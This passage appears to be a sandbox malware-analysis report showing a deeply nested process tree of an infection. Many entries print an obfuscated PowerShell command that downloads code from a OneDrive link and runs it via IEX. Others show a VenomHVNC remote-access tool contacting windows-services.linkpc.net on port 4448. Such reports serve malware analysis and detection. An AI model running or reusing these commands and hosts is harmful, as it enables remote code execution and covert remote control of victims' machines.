        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        49⤵
        
        PID:2848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        50⤵
        
        PID:12736
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        48⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5664
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        49⤵
        
        PID:5824
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        49⤵
        
        PID:6608
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        48⤵
        
        PID:5672
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        48⤵
        
        PID:9224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        49⤵
        
        PID:12416
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        47⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5572
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        48⤵
        
        PID:5884
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        48⤵
        
        PID:6488
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        48⤵
        
        PID:4668
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        47⤵
        
        PID:5580
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        47⤵
        
        PID:5532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        48⤵
        
        PID:11576
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        46⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:5416
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        47⤵
        
        PID:5512
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        47⤵
        
        PID:3156
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        46⤵
        
        PID:5424
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        46⤵
        
        PID:9228
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        47⤵
        
        PID:11972
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        45⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5332
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        46⤵
        
        PID:5528
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        46⤵
        
        PID:6432
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        45⤵
        
        PID:5340
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        45⤵
        
        PID:5772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        46⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11488
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        44⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:5232
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        45⤵
        
        PID:5520
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        45⤵
        
        PID:6248
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        44⤵
        
        PID:5240
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        44⤵
        
        PID:6188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        45⤵
        
        PID:11480
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        43⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:780
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        44⤵
        
        PID:5280
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        44⤵
        
        PID:288
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        43⤵
        
        PID:5128
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        43⤵
        
        PID:10100
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        44⤵
        
        PID:5964
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        42⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3836
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        43⤵
        
        PID:5164
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        43⤵
        
        PID:1092
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        42⤵
        
        PID:5040
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        42⤵
        
        PID:3340
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        43⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12584
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        41⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3012
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        42⤵
        
        PID:5172
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        42⤵
        
        PID:5864
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        41⤵
        
        PID:2692
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        41⤵
        
        PID:4548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        42⤵
        
        PID:11464
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        40⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4616
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        41⤵
        
        PID:5104
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        41⤵
        
        PID:6100
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        40⤵
        
        PID:4624
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        40⤵
        
        PID:9264
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        41⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12148
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        39⤵
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:4544
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        40⤵
        
        PID:4656
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        40⤵
        
        PID:632
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        39⤵
        
        PID:4552
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        39⤵
        
        PID:7152
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        40⤵
        
        PID:12172
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        38⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:2500
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        39⤵
        
        PID:4564
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        39⤵
        
        PID:1596
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        38⤵
        
        PID:2380
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        38⤵
        
        PID:4568
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        39⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6108
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        37⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2864
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        38⤵
        
        PID:3344
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        38⤵
        
        PID:2576
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        37⤵
        
        PID:3548
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        37⤵
        
        PID:8972
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        38⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11760
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        36⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5072
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        37⤵
        
        PID:3340
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        37⤵
        
        PID:3024
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        36⤵
        
        PID:5080
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        36⤵
        
        PID:3480
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        37⤵
        
        PID:11420
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        35⤵
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4868
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        36⤵
        
        PID:4928
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        36⤵
        
        PID:5820
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        35⤵
        
        PID:4876
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        35⤵
        
        PID:7056
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        36⤵
        
        PID:12408
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        34⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4716
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        35⤵
        
        PID:4960
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        35⤵
        
        PID:2656
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        34⤵
        
        PID:4732
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        34⤵
        
        PID:2504
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        35⤵
        
        PID:12136
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        33⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4460
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        34⤵
        
        PID:4816
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        34⤵
        System Location Discovery: System Language Discovery
        
        PID:5684
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        33⤵
        
        PID:4468
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        33⤵
        
        PID:10464
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        34⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9032
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
